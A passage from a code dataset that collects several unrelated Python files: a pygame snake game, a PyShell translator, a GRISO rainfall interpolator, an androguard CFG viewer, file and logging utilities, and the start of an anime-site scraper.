(10, 10)\n\n# скорость\nsnake_speed = 10\n\n# длина\nsnake_tails = []\n\nsnake_pos[\"x_change\"] = -snake_speed\nfor i in range(30):\n snake_tails.append([snake_pos[\"x\"] + 10 * i, snake_pos[\"y\"]])\n\n# яблоко\nfood_pos = {\n \"x\": round(random.randrange(0, width - snake_size[0]) / 10) * 10,\n \"y\": round(random.randrange(0, height - snake_size[1]) / 10) * 10,\n}\n\nfood_size = (10, 10)\nfood_eaten = 0\n\n# начало\ngame_end = False\nclock = pygame.time.Clock()\n\nwhile not game_end:\n # игр.\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_end = True\n\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT and snake_pos[\"x_change\"] == 0:\n # лево\n snake_pos[\"x_change\"] = -snake_speed\n snake_pos[\"y_change\"] = 0\n\n elif event.key == pygame.K_RIGHT and snake_pos[\"x_change\"] == 0:\n # право\n snake_pos[\"x_change\"] = snake_speed\n snake_pos[\"y_change\"] = 0\n\n elif event.key == pygame.K_UP and snake_pos[\"y_change\"] == 0:\n # верх\n snake_pos[\"x_change\"] = 0\n snake_pos[\"y_change\"] = -snake_speed\n\n elif event.key == pygame.K_DOWN and snake_pos[\"y_change\"] == 0:\n # низ\n snake_pos[\"x_change\"] = 0\n snake_pos[\"y_change\"] = snake_speed\n\n # очистка\n display.fill((0, 0, 0))\n\n # движение хвоста\n ltx = snake_pos[\"x\"]\n lty = snake_pos[\"y\"]\n\n for i, v in enumerate(snake_tails):\n _ltx = snake_tails[i][0]\n _lty = snake_tails[i][1]\n\n snake_tails[i][0] = ltx\n snake_tails[i][1] = lty\n\n ltx = _ltx\n lty = _lty\n\n # рисовка змеиного хвоста\n for t in snake_tails:\n pygame.draw.rect(display, colors[\"snake_tail\"], [\n t[0],\n t[1],\n snake_size[0],\n snake_size[1]])\n\n # рисовка змеи\n snake_pos[\"x\"] += snake_pos[\"x_change\"]\n snake_pos[\"y\"] += snake_pos[\"y_change\"]\n\n # телепорт\n if (snake_pos[\"x\"] < -snake_size[0]):\n snake_pos[\"x\"] = width\n\n elif (snake_pos[\"x\"] > width):\n snake_pos[\"x\"] = 0\n\n elif (snake_pos[\"y\"] < -snake_size[1]):\n snake_pos[\"y\"] = height\n\n elif (snake_pos[\"y\"] > height):\n snake_pos[\"y\"] = 0\n\n pygame.draw.rect(display, colors[\"snake_head\"], [\n snake_pos[\"x\"],\n snake_pos[\"y\"],\n snake_size[0],\n snake_size[1]])\n\n # рис яблоко\n pygame.draw.rect(display, colors[\"apple\"], [\n food_pos[\"x\"],\n food_pos[\"y\"],\n food_size[0],\n food_size[1]])\n\n # колизии яблока\n if (snake_pos[\"x\"] == food_pos[\"x\"]\n and snake_pos[\"y\"] == food_pos[\"y\"]):\n food_eaten += 1\n snake_tails.append([food_pos[\"x\"], food_pos[\"y\"]])\n\n food_pos = {\n \"x\": round(random.randrange(0, width - snake_size[0]) / 10) * 10,\n \"y\": round(random.randrange(0, height - snake_size[1]) / 10) * 10,\n }\n\n # колюзии тела\n for i, v in enumerate(snake_tails):\n if (snake_pos[\"x\"] + snake_pos[\"x_change\"] == snake_tails[i][0]\n and snake_pos[\"y\"] + snake_pos[\"y_change\"] == snake_tails[i][1]):\n snake_tails = snake_tails[:i]\n break\n\n pygame.display.update()\n\n # fps\n clock.tick(30)\n\n# закрытие\npygame.quit()\nquit()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"43339660","text":"################################################################################\n#\n# pyshell_master.py\n#\n# This file contains the main program for translation and exection of PyShell\n# programs.\n#\n# Written by Paul Magnus in Spring 2018\n#\n################################################################################\n\n\n# PYTHON MODULES\nimport ply.lex as lex\nimport ply.yacc as yacc\nimport sys\nimport os\n\n# LOCAL FILES\nfrom pyshell_lexer import *\nfrom pyshell_parser import *\nfrom pyshell_translate import translate\nfrom pyshell_files import get_tmp_path\nfrom pyshell_run import run\n\nyacc.error_count = 3\n\ndef usage():\n ''' Prints out how to use the pyshell system. '''\n\n print(\"Error: The PyShell translator takes one argument - the name of the \"\n \"file to be translated.\", file=sys.stderr)\n sys.exit(1)\n\ndef find_column(input, token):\n ''' Compute the column for a token, in the context of some input. '''\n\n last_cr = input.rfind('\\n', 0, token.lexpos)\n if last_cr < 0:\n last_cr = 0\n return token.lexpos - last_cr\n\ndef get_line_numbers(p, n):\n ''' Returns a list of line numbers for the n statements in p. '''\n return [p.lineno(i) for i in range(n)]\n\ndef parse_file(filename):\n ''' Builds the parser for the PyShell language from lexer and parser\n filese and then returns the abstract syntax parse tree for the file.'''\n \n if not os.path.isfile(filename):\n print(\"Error:\", filename, \"could not be found\", file=sys.stderr)\n sys.exit(1)\n\n with open(filename, 'rU') as pyshellfile:\n lexer = lex.lex()\n lexer.indentwidth = None\n lexer.indentedline = None\n lexer.indentstack = [0]\n lexer.input(pyshellfile.read() + '\\n')\n \n parser = yacc.yacc()\n lexer.parser = parser\n parsetree = parser.parse(tracking = True,\n # debug=True\n )\n \n return parsetree\n\ndef main():\n\n # Check args\n if len(sys.argv) != 2:\n usage()\n\n # Confirm that the file is valid\n filename = sys.argv[1]\n\n # if len(filename) < 6 or filename[-5:] != \".pysh\":\n # print(\"Error: file must be a pysh file.\\n\"\n # \"File given: '\" + filename + \"'\", file=sys.stderr)\n # sys.exit(1)\n\n # Process and execute\n parsetree = parse_file(filename)\n \n # print(\"Parsetree---------------------------\")\n # print(parsetree)\n # print(\"------------------------------------\")\n \n if not parsetree:\n print('Parse failed')\n else:\n try:\n os.stat(get_tmp_path())\n except:\n os.mkdir(get_tmp_path())\n \n translate(parsetree, filename)\n run(filename)\n\nif __name__ == \"__main__\":\n main()\n\n# Notes:\n# Do we handle Python errors like in cspy?\n","sub_path":"pyshell_master.py","file_name":"pyshell_master.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"394497206","text":"\"\"\"\nHyDE Processing Tool - GRISO interpolator\n__date__ = '20210602'\n__version__ = '2.1.0'\n__author__ =\n 'Flavio Pignone (flavio.pignone@cimafoundation.org',\n 'Andrea Libertino (andrea.libertino@cimafoundation.org',\n 'Fabio Delogu (fabio.delogu@cimafoundation.org',\n__library__ = 'hyde'\nGeneral command line:\n### python op_conditional_merging_GRISO.py -time \"YYYY-MM-DD HH:MM\"\nVersion(s):\n20210602 (2.1.0) --> Added support for not-standard point files. Add netrc support for drops2. Bug fixes.\n20210425 (2.0.0) --> Added support to point rain files (for FloodProofs compatibility)\n Script structure fully revised and bug fixes\n20210312 (1.5.0) --> Geotiff output implementation, script structure updates, various bug fixes and improvements\n20200326 (1.0.0) --> Beta release for FloodProofs Bolivia\n\"\"\"\n# -------------------------------------------------------------------------------------\n\n# -------------------------------------------------------------------------------------\n# Complete library\nimport os\nimport logging\nfrom os.path import join\nfrom datetime import datetime, timedelta\nfrom argparse import ArgumentParser\nimport numpy as np\nimport xarray as xr\nimport pandas as pd\nimport json\nimport time\nimport netrc\nfrom copy import deepcopy\n\nfrom src.hyde.driver.model.griso.drv_model_griso_exec import GrisoCorrel, GrisoInterpola, GrisoPreproc\nfrom src.hyde.driver.model.griso.drv_model_griso_io import importDropsData, importTimeSeries, check_and_write_dataarray, write_raster, read_point_data\n# -------------------------------------------------------------------------------------\n# Script Main\ndef main():\n # -------------------------------------------------------------------------------------\n # Version and algorithm information\n alg_name = 'HyDE Processing Tool - GRISO Interpolator '\n alg_version = '2.1.0'\n alg_release = '2021-06-02'\n # -------------------------------------------------------------------------------------\n\n # -------------------------------------------------------------------------------------\n # Get algorithm settings\n alg_settings, alg_time = get_args()\n\n # Set algorithm settings\n data_settings = read_file_json(alg_settings)\n\n # Set algorithm logging\n os.makedirs(data_settings['data']['log']['folder'], exist_ok=True)\n set_logging(logger_file=join(data_settings['data']['log']['folder'], data_settings['data']['log']['filename']))\n # -------------------------------------------------------------------------------------\n\n # -------------------------------------------------------------------------------------\n # Get algorithm settings\n settings_file, alg_time = get_args()\n dateRun = datetime.strptime(alg_time, \"%Y-%m-%d %H:%M\")\n\n startRun = dateRun - timedelta(hours=data_settings['data']['dynamic']['time']['time_observed_period']-1)\n endRun = dateRun + timedelta(hours=data_settings['data']['dynamic']['time']['time_forecast_period'])\n\n # -------------------------------------------------------------------------------------\n\n # -------------------------------------------------------------------------------------\n # Info algorithm\n logging.info(' ============================================================================ ')\n logging.info(' ==> START ... ')\n logging.info(' ')\n\n # Time algorithm information\n start_time = time.time()\n\n # -------------------------------------------------------------------------------------\n\n # -------------------------------------------------------------------------------------\n # Check computation setting\n logging.info(' --> Check computational settings')\n\n # Gauge data sources\n computation_settings = [data_settings['algorithm']['flags'][\"sources\"]['use_timeseries'],\n data_settings['algorithm']['flags'][\"sources\"]['use_drops2'],\n data_settings['algorithm']['flags'][\"sources\"]['use_point_data']]\n if len([x for x in computation_settings if x]) > 1:\n logging.error(' ----> ERROR! Please choose if use local data or download stations trough drops2!')\n raise ValueError(\"Data sources flags are mutually exclusive!\")\n\n # Import data for drops and time series setup\n if data_settings['algorithm']['flags'][\"sources\"]['use_drops2']:\n logging.info(' --> Station data source: drops2 database')\n drops_settings = data_settings['data']['dynamic']['source_stations']['drops2']\n if not all([drops_settings['DropsUser'], drops_settings['DropsPwd']]):\n netrc_handle = netrc.netrc()\n try:\n drops_settings['DropsUser'], _, drops_settings['DropsPwd'] = netrc_handle.authenticators(drops_settings['DropsAddress'])\n except:\n logging.error(' --> Netrc authentication file not found in home directory! Generate it or provide user and password in the settings!')\n raise FileNotFoundError(\n 'Verify that your .netrc file exists in the home directory and that it includes proper credentials!')\n dfData, dfStations = importDropsData(\n drops_settings=data_settings['data']['dynamic']['source_stations']['drops2'], start_time=startRun,\n end_time=dateRun, time_frequency=data_settings['data']['dynamic']['time']['time_frequency'])\n elif data_settings['algorithm']['flags'][\"sources\"]['use_timeseries']:\n logging.info(' --> Station data source: station time series')\n dfData, dfStations = importTimeSeries(\n timeseries_settings=data_settings['data']['dynamic']['source_stations']['time_series'],\n start_time=startRun, end_time=dateRun,\n time_frequency=data_settings['data']['dynamic']['time']['time_frequency'])\n else:\n logging.info(' --> Station data source: station point files')\n\n # -------------------------------------------------------------------------------------\n\n # -------------------------------------------------------------------------------------\n corrFin = data_settings['algorithm']['settings']['radius_GRISO_km'] * 2\n logging.info(' --> Final correlation: ' + str(corrFin) + ' km')\n\n # Loop across time steps\n for timeNow in pd.date_range(start=startRun, end=endRun, freq=data_settings['data']['dynamic']['time']['time_frequency']):\n logging.info(' ---> Computing time step ' + timeNow.strftime(\"%Y-%m-%d %H:00:00\"))\n\n # Compute time step file names\n file_out_time_step = os.path.join(data_settings['data']['outcome']['folder'], data_settings['data']['outcome']['filename'])\n point_in_time_step = os.path.join(data_settings['data']['dynamic']['source_stations']['point_files']['folder'], data_settings['data']['dynamic']['source_stations']['point_files']['filename'])\n\n for i in data_settings['algorithm']['template']:\n file_out_time_step = file_out_time_step.replace(\"{\" + i + \"}\", timeNow.strftime(data_settings['algorithm']['template'][i]))\n point_in_time_step = point_in_time_step.replace(\"{\" + i + \"}\", timeNow.strftime(data_settings['algorithm']['template'][i]))\n\n if os.path.isfile(file_out_time_step) or os.path.isfile(file_out_time_step + '.gz'):\n if data_settings['algorithm']['flags']['overwrite_existing']:\n pass\n else:\n logging.info(' ---> Time step ' + timeNow.strftime(\"%Y-%m-%d %H:00:00\") + ' already exist, skipping...')\n continue\n\n # Make output dir\n os.makedirs(os.path.dirname(file_out_time_step), exist_ok=True)\n\n logging.info(' ---> Import grid data...')\n #import grid\n grid_in = xr.open_rasterio(os.path.join(data_settings['data']['static']['folder'],data_settings['data']['static']['filename']))\n grid_in = grid_in.rename({'x':'lon', 'y':'lat'})\n logging.info(' ---> Import grid data...DONE')\n\n # Import point gauge data for point_data setup\n try:\n if data_settings['algorithm']['flags'][\"sources\"]['use_point_data']:\n logging.info(' ----> Load time step point data ...')\n if data_settings['algorithm']['flags'][\"sources\"]['non_standard_tab_fields']:\n fields_dict = data_settings['data']['dynamic']['source_stations']['point_files']['non_standard_tab_fields']\n dfStations, data = read_point_data(point_in_time_step, st_code=fields_dict[\"station_code\"], st_name=fields_dict[\"station_name\"], st_lon=fields_dict[\"longitude\"],\n st_lat=fields_dict[\"latitude\"], st_data=fields_dict[\"data\"])\n else:\n dfStations, data = read_point_data(point_in_time_step, st_code='code', st_name='name', st_lon='longitude', st_lat='latitude', st_data='data')\n else:\n data = dfData.loc[timeNow.strftime(\"%Y-%m-%d %H:00:00\")].values\n if len(data) == 0:\n raise ValueError\n except (FileNotFoundError, ValueError) as err:\n # If no time step available skip\n logging.warning(' ----> WARNING! No station data available for time step ' + timeNow.strftime(\"%Y-%m-%d %H:00:00\"))\n logging.warning(' ----> Skip time step' + timeNow.strftime(\"%Y-%m-%d %H:00:00\"))\n continue\n\n if not data_settings['algorithm']['flags'][\"sources\"]['use_point_data']:\n # Check if station data with nan values are present and, in the case, remove station from Station dataframe\n # (only if not point data are used, in this case, no further cleaning is needed)\n logging.info(' ----> Check null values for time step ...')\n avail_time_step = len(dfData.columns[~np.isnan(data)])\n logging.info(' ----> Available data for the time step ...' + str(avail_time_step))\n dfStations_available = dfStations.loc[dfData.columns[~np.isnan(data)]]\n data = data[~np.isnan(data)]\n else:\n dfStations_available = deepcopy(dfStations)\n\n # Data preprocessing for GRISO\n logging.info(' ---> GRISO: Data preprocessing...')\n point_data, a2dPosizioni, grid_rain, grid, passoKm = GrisoPreproc(corrFin,dfStations_available.lon.astype(np.float),dfStations_available.lat.values.astype(np.float), data, Grid=grid_in)\n\n logging.info(' ---> GRISO: Data preprocessing... DONE')\n\n # Calculate GRISO correlation features\n logging.info(' ---> GRISO: Calculate correlation...')\n correl_features = GrisoCorrel(point_data[\"rPluvio\"], point_data[\"cPluvio\"], corrFin, grid_rain, passoKm,\n a2dPosizioni, point_data[\"gauge_value\"], corr_type= 'fixed')\n\n logging.info(' ---> GRISO: Data preprocessing...DONE')\n\n # GRISO interpolation\n logging.info(' ---> GRISO: Observed data interpolation...')\n griso_obs = GrisoInterpola(point_data[\"rPluvio\"], point_data[\"cPluvio\"], point_data[\"gauge_value\"],\n correl_features)\n logging.info(' ---> GRISO: Observed data interpolation...DONE')\n\n if data_settings['data']['outcome']['format'].lower() == 'netcdf' or data_settings['data']['outcome']['format'].lower() == 'nc':\n\n logging.info(' ---> Saving outfile in netcdf format ' + os.path.basename(file_out_time_step))\n griso_out = check_and_write_dataarray(griso_obs, grid_in, 'precip', lat_var_name='lat', lon_var_name='lon')\n griso_out.to_netcdf(file_out_time_step)\n\n elif data_settings['data']['outcome']['format'].lower() == 'tif' or data_settings['data']['outcome']['format'].lower() == 'tiff' or data_settings['data']['outcome']['format'].lower() == 'gtiff':\n logging.info(' ---> Saving outfile in GTiff format ' + os.path.basename(file_out_time_step))\n write_raster(griso_obs, grid_in, file_out_time_step, driver='GTiff')\n else:\n logging.error('ERROR! Unknown or unsupported output format! ')\n raise ValueError(\"Supported output formats are netcdf and GTiff\")\n\n if data_settings['algorithm']['flags']['compress_output']:\n os.system('gzip ' + file_out_time_step)\n\n # -------------------------------------------------------------------------------------\n # Info algorithm\n time_elapsed = round(time.time() - start_time, 1)\n\n logging.info(' ')\n logging.info(' ==> ' + alg_name + ' (Version: ' + alg_version + ' Release_Date: ' + alg_release + ')')\n logging.info(' ==> TIME ELAPSED: ' + str(time_elapsed) + ' seconds')\n logging.info(' ==> ... END')\n logging.info(' ==> Bye, Bye')\n logging.info(' ============================================================================ ')\n # -------------------------------------------------------------------------------------\n\n# -------------------------------------------------------------------------------------\n\n# -------------------------------------------------------------------------------------\n# Method to read file json\ndef read_file_json(file_name):\n\n env_ws = {}\n for env_item, env_value in os.environ.items():\n env_ws[env_item] = env_value\n\n with open(file_name, \"r\") as file_handle:\n json_block = []\n for file_row in file_handle:\n\n for env_key, env_value in env_ws.items():\n env_tag = '$' + env_key\n if env_tag in file_row:\n env_value = env_value.strip(\"'\\\\'\")\n file_row = file_row.replace(env_tag, env_value)\n file_row = file_row.replace('//', '/')\n\n # Add the line to our JSON block\n json_block.append(file_row)\n\n # Check whether we closed our JSON block\n if file_row.startswith('}'):\n # Do something with the JSON dictionary\n json_dict = json.loads(''.join(json_block))\n # Start a new block\n json_block = []\n\n return json_dict\n# -------------------------------------------------------------------------------------\n\n# -------------------------------------------------------------------------------------\n# Method to get script argument(s)\ndef get_args():\n parser_handle = ArgumentParser()\n parser_handle.add_argument('-settings_file', action=\"store\", dest=\"alg_settings\")\n parser_handle.add_argument('-time', action=\"store\", dest=\"alg_time\")\n parser_values = parser_handle.parse_args()\n\n if parser_values.alg_settings:\n alg_settings = parser_values.alg_settings\n else:\n alg_settings = 'configuration.json'\n\n if parser_values.alg_time:\n alg_time = parser_values.alg_time\n else:\n alg_time = None\n\n return alg_settings, alg_time\n# -------------------------------------------------------------------------------------\n\n# -------------------------------------------------------------------------------------\n# Method to set logging information\ndef set_logging(logger_file='log.txt', logger_format=None):\n if logger_format is None:\n logger_format = '%(asctime)s %(name)-12s %(levelname)-8s ' \\\n '%(filename)s:[%(lineno)-6s - %(funcName)20s()] %(message)s'\n\n # Remove old logging file\n if os.path.exists(logger_file):\n os.remove(logger_file)\n\n # Set level of root debugger\n logging.root.setLevel(logging.INFO)\n\n # Open logging basic configuration\n logging.basicConfig(level=logging.INFO, format=logger_format, filename=logger_file, filemode='w')\n\n # Set logger handle\n logger_handle_1 = logging.FileHandler(logger_file, 'w')\n logger_handle_2 = logging.StreamHandler()\n # Set logger level\n logger_handle_1.setLevel(logging.INFO)\n logger_handle_2.setLevel(logging.INFO)\n # Set logger formatter\n logger_formatter = logging.Formatter(logger_format)\n logger_handle_1.setFormatter(logger_formatter)\n logger_handle_2.setFormatter(logger_formatter)\n # Add handle to logging\n logging.getLogger('').addHandler(logger_handle_1)\n logging.getLogger('').addHandler(logger_handle_2)\n# -------------------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Call script from external library\nif __name__ == \"__main__\":\n main()\n# ----------------------------------------------------------------------------\n\n","sub_path":"apps/model/griso/hyde_data_dynamic_weather_stations_griso.py","file_name":"hyde_data_dynamic_weather_stations_griso.py","file_ext":"py","file_size_in_byte":16439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"510860430","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 22 14:04:07 2019\n\n@author: nehap\n\"\"\"\n\"\"\"\nInput: 5\nOutput :\n1\n1 2\n1 2 3 \n1 2 3 4 \n1 2 3 4 5\n\"\"\"\n\nif __name__==\"__main__\": \n n = int(input(\"Input: \"))\n #Initialize staring number\n num =1\n print(\"Output :\")\n #Outer loop - control number of rows\n for i in range(0, n):\n #Inner loop - prints numbers in each row\n for j in range(0, i+1):\n print(num, end=\" \")\n num=num+1\n #Reintialize starting number for next line\n num=1\n print(\"\\r\")\n \n","sub_path":"pat12.py","file_name":"pat12.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"13510980","text":"import hashlib\nimport pydot\nimport svgutils\nfrom PyQt5 import QtCore, QtGui, QtWidgets, QtSvg\nfrom PyQt5.QtWidgets import QVBoxLayout, QPushButton, QScrollArea, QWidget\nfrom PyQt5.QtCore import Qt\nfrom androguard.gui.xrefwindow import XrefDialogString\nfrom androguard.core.bytecode import method2dot\n\nclass CfgWindow(QtWidgets.QWidget):\n def __init__(self,\n win=None,\n current_class=None,\n class_analysis=None):\n super().__init__(win)\n\n self.mainwin = win\n self.title = current_class.current_title\n self.current_class = current_class\n self.class_analysis = class_analysis\n\n # wrapper widget for scrolling\n scrollWidget = QWidget()\n # layout for the scroll widget\n layout = QVBoxLayout(self)\n\n # create graphs for every method\n svgs = self.get_method_graphs()\n for i, svg in enumerate(svgs):\n # use svgutils to get the SVG size attributes\n svgParsed = svgutils.transform.fromstring(svg.decode('utf-8'))\n svgWidget = CfgSVGWindow(svg, win)\n # height and length are of the format \"12pt\" hence the [:-2]\n svgWidget.setFixedHeight(int(svgParsed.height[:-2])*1.5)\n svgWidget.setFixedWidth(int(svgParsed.width[:-2])*1.5)\n layout.addWidget(svgWidget)\n\n # apply layout to wrapper widget\n scrollWidget.setLayout(layout)\n\n # define a scroll area to actually make the widget scrollable\n scrollArea = QScrollArea()\n scrollArea.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n scrollArea.setWidgetResizable(False)\n # set scroll widget to scroll area\n scrollArea.setWidget(scrollWidget)\n\n # create a vbox layout and add scroll area\n vBoxLayout = QVBoxLayout(self)\n vBoxLayout.addWidget(scrollArea)\n # apply the layout to this widget\n self.setLayout(vBoxLayout)\n\n def get_method_graphs(self):\n # get _the_ androguard ``Analysis`` object that contains our current class\n dx = self.mainwin.session.get_analysis(self.current_class)\n # we're going to fill this svgs array with one svg graph per method\n svgs = []\n # m is of type ``EncodedMethod```\n for m in self.current_class.get_methods():\n # get a ``MethodAnalysis`` object for our method m\n mx = dx.get_method(m)\n # get a graph of our method in dot format\n buff_dot = method2dot(mx)\n # unpack the returned graph list because we expect a single graph\n (graph,) = self.create_graph(buff_dot, str(m.get_name()))\n graph.write(\"crash.dot\",format='raw')\n # render svg\n svg = graph.create_svg()\n svgs.append(svg)\n\n return svgs\n\n\n def create_graph(self, data, name):\n \"\"\"\n Constructs an actual CFG from dot output of method2dot and loads it with pydot\n\n :param data: :string:\n :param colors: dict of colors to use, if colors is None the default colors are used\n\n :returns: pydot CFG\n :rtype: class: ``pydot.Dot``\n \"\"\"\n # this is from the bytecode.py\n # pydot is optional!\n import pydot\n\n buff = \"digraph {\\n\"\n buff += \"graph [rankdir=TB]\\n\"\n buff += \"node [shape=plaintext]\\n\"\n\n # subgraphs cluster\n buff += \"subgraph cluster_{} \".format(hashlib.md5(bytearray(name, \"UTF-8\")).hexdigest())\n buff += \"{\\n\"\n buff += \"label=\\\"{}\\\"\\n\".format(data['name'])\n buff += data['nodes']\n buff += \"}\\n\"\n\n # subgraphs edges\n buff += data['edges']\n buff += \"}\\n\"\n\n graph = pydot.graph_from_dot_data(buff)\n\n return graph\n\nclass CfgSVGWindow(QtSvg.QSvgWidget):\n def __init__(self, svg, win=None):\n super().__init__(win)\n self.mainwin = win\n self.title = \"CFG\"\n self.load(svg)","sub_path":"androguard/gui/cfgwindow.py","file_name":"cfgwindow.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"65640395","text":"#!/usr/bin/env python\n#coding=utf-8\n#这里是工具的一些通用方法\n#包括 Log Dir\n\nimport sys\nimport os\nimport shutil\n\nclass Log:\n # TODO maybe the right way to do this is to use something like colorama?\n RED = '\\033[31m'\n GREEN = '\\033[32m'\n YELLOW = '\\033[33m'\n MAGENTA = '\\033[35m'\n RESET = '\\033[0m'\n\n @staticmethod\n def _print(s, color=None):\n if color and sys.stdout.isatty() and sys.platform != 'win32':\n print(color + s + Log.RESET)\n else:\n print(s)\n\n @staticmethod\n def debug(s):\n Log._print(s, Log.MAGENTA)\n\n @staticmethod\n def info(s):\n Log._print(s, Log.GREEN)\n\n @staticmethod\n def warning(s):\n Log._print(s, Log.YELLOW)\n\n @staticmethod\n def error(s):\n Log._print(s, Log.RED)\n\nclass Dir:\n @staticmethod\n def isFileExist(file_path):\n #大小写敏感\n if not os.path.isfile(file_path) :\n return False\n fileName = os.path.basename(file_path)\n if fileName not in os.listdir(os.path.dirname(file_path)):\n Log.warning(path+'have some case sensitive problem')\n return False\n return True\n\n @staticmethod\n def makeDirIfNeed(file_path):\n #自带递归功能\n if not os.path.exists(file_path):\n Log.info('make dir '+file_path)\n os.makedirs(file_path)\n @staticmethod\n def safe_delete(file_path):\n if os.path.exists(file_path):\n os.remove(file_path)\n else:\n Log.error(file_path+'already delete')\n @staticmethod\n def delete(folder_name,suffix):\n for i in os.listdir(folder_name):\n path = os.path.join(folder_name,i)\n if os.path.isdir(path):\n Dir.delete(path,suffix)\n elif suffix == None or os.path.splitext(path)[1] == suffix:\n Dir.safe_delete(path)\n @staticmethod\n def move(folder_name,origin_path,target_path,suffix):\n for i in os.listdir(folder_name):\n path = os.path.join(folder_name,i)\n if os.path.isdir(path):\n Dir.move(path,origin_path,target_path,suffix)\n elif suffix == None or os.path.splitext(path)[1] == suffix:\n relpath = os.path.relpath(path,origin_path)\n new_path = os.path.join(target_path,relpath)\n dir_path = os.path.split(new_path)[0]+'/'\n Dir.makeDirIfNeed(dir_path)\n shutil.move(path,new_path)\n @staticmethod\n def copy(folder_name,origin_path,target_path,suffix):\n for i in os.listdir(folder_name):\n path = os.path.join(folder_name,i)\n if os.path.isdir(path):\n Dir.copy(path,origin_path,target_path,suffix)\n elif os.path.isfile(path):\n if suffix == None or os.path.splitext(path)[1] == suffix:\n relpath = os.path.relpath(path,origin_path)\n new_path = os.path.join(target_path,relpath)\n Dir.copyFile(path,new_path)\n @staticmethod\n def copyFile(origin_path,target_path):\n if os.path.isfile(origin_path):\n dir_path = os.path.split(target_path)[0]+'/'\n Dir.makeDirIfNeed(dir_path)\n shutil.copy(origin_path,target_path)\n else:\n Log.error(origin_path+' not exists')\n\n","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"603803198","text":"import requests\nimport bs4\nimport fake_useragent\nimport string\n\n# Создания фейк-юзер агента\nuseragent = fake_useragent.UserAgent().random\nheader = {\n 'useragent': useragent\n }\n\n\nclass Parser():\n \"\"\"Интерфейс парсера сайта\"\"\"\n def search_on_site(self, text:str):\n \"\"\"Поиск значения на сайте\n\n Args:\n text (str): Название аниме\n \"\"\"\n pass\n def information_of_anime(self):\n \"\"\"Информация о аниме с его ссылкой\"\"\"\n pass\n def links_of_anime(self):\n \"\"\"Все ссылки на аниме с названиями\"\"\" \n pass\n\n\nclass ParserAniDubLife(Parser):\n \"\"\"Парсер для сайта https://anime.anidub.life/\"\"\"\n def search_on_site(self, text:str):\n \"\"\"Поиск значения на сайте\n\n Args:\n text (str): Название аниме\n \"\"\"\n anidub_post = 'https://anime.anidub.life/index.php?do=search'\n post = {\n 'do': \"search\",\n 'subaction': \"search\",\n 'story': text\n }\n response = requests.post(anidub_post, data=post, headers=header).text\n # Обрабатываем ответ\n self.soup = bs4.BeautifulSoup(response, 'lxml')\n block = self.soup.find('div', id = 'main')\n test_if = str(block)\n if test_if.find(\"По Вашему запросу найдено\") == -1:\n # Отправка сообщения о том, что запрос выстроен неправильно\n return False\n else:\n self.check_count_answers = block.find_all(attrs = {'class':'berrors'})\n self.check_count_answers = str(self.check_count_answers)\n self.check_count_answers = self.check_count_answers[44:-8]\n return True\n\n def links_of_anime(self):\n \"\"\"Все ссылки на аниме с названиями\"\"\"\n block = self.soup.find_all(attrs = {'class':\"th-in\"})[1]\n a, b, c, self.url_on_anime_1, k = str(block).split('\"', 4)\n if 'https://anime.anidub.life/videoblog/' in self.url_on_anime_1:\n self.url_on_anime_1 = None \n try:\n block = self.soup.find_all(attrs = {'class':\"th-in\"})[3]\n a, b, c, self.url_on_anime_2, k = str(block).split('\"', 4)\n if 'https://anime.anidub.life/videoblog/' in self.url_on_anime_2:\n self.url_on_anime_2 = None \n except:\n self.url_on_anime_2 = None\n self.url_on_anime_3 = None\n return None\n try:\n block = self.soup.find_all(attrs = {'class':\"th-in\"})[5]\n a, b, c, self.url_on_anime_3, k = str(block).split('\"', 4)\n if 'https://anime.anidub.life/videoblog/' in self.url_on_anime_3:\n self.url_on_anime_3 = None \n except:\n self.url_on_anime_3 = None\n return None\n\n def information_of_anime(self):\n \"\"\"Информация о аниме с его ссылкой\"\"\"\n def info_about_one_url(url:str):\n \"\"\"Берет ссылку на аниме страницу, после чего парсит её и выводит всю информацию\n\n Args:\n url (str): можно вставить любую ссылку на аниме тайтл\n\n Returns:\n [str]: возвращает название и полное описание аниме\n \"\"\"\n response = requests.get(url, headers = header).text\n soup = bs4.BeautifulSoup(response, 'lxml')\n block = soup.find('meta', attrs = {'property':'og:title'})\n self.name = str(block)\n self.name = self.name[15:-23]\n description_block = soup.find('div', attrs = {'class':'fdesc clr full-text clearfix'})\n for_for = str(description_block)\n flag = False\n self.description = ''\n for i in for_for:\n if i == '<':\n flag = True\n elif i == '>':\n flag = False\n if flag or i == '>':\n continue\n else:\n self.description += i\n def clear_pars(number_block):\n \"\"\"Очистка значений парса от мусора\n\n Args:\n number_block[int]: строка чтения find_all\n \n Returns:\n [str]: чистое значение строки без разметки HTML\n \"\"\"\n block = soup.find_all('li', attrs = {'class':'short-info'})[number_block]\n for_for = str(block)\n flag = False\n category = ''\n for i in for_for:\n if i == '<':\n flag = True\n elif i == '>':\n flag = False\n if flag or i == '>':\n continue\n else:\n category += i\n return category\n self.genre = clear_pars(0)\n self.count = clear_pars(1)\n self.start = clear_pars(2)\n self.auther = clear_pars(3)\n self.producer = clear_pars(4)\n self.studio = clear_pars(5)\n self.voice_acting = clear_pars(6)\n self.taming = clear_pars(7)\n info_of_anime = f'{self.name}\\n\\n{self.genre}\\n{self.count}\\n{self.start}\\n{self.auther}\\n{self.producer}\\n{self.studio}\\n{self.voice_acting}\\n{self.taming}\\n\\nОписание\\n{self.description}'\n return info_of_anime\n self.info_of_anime_1 = info_about_one_url(self.url_on_anime_1)\n if self.url_on_anime_2 != None:\n 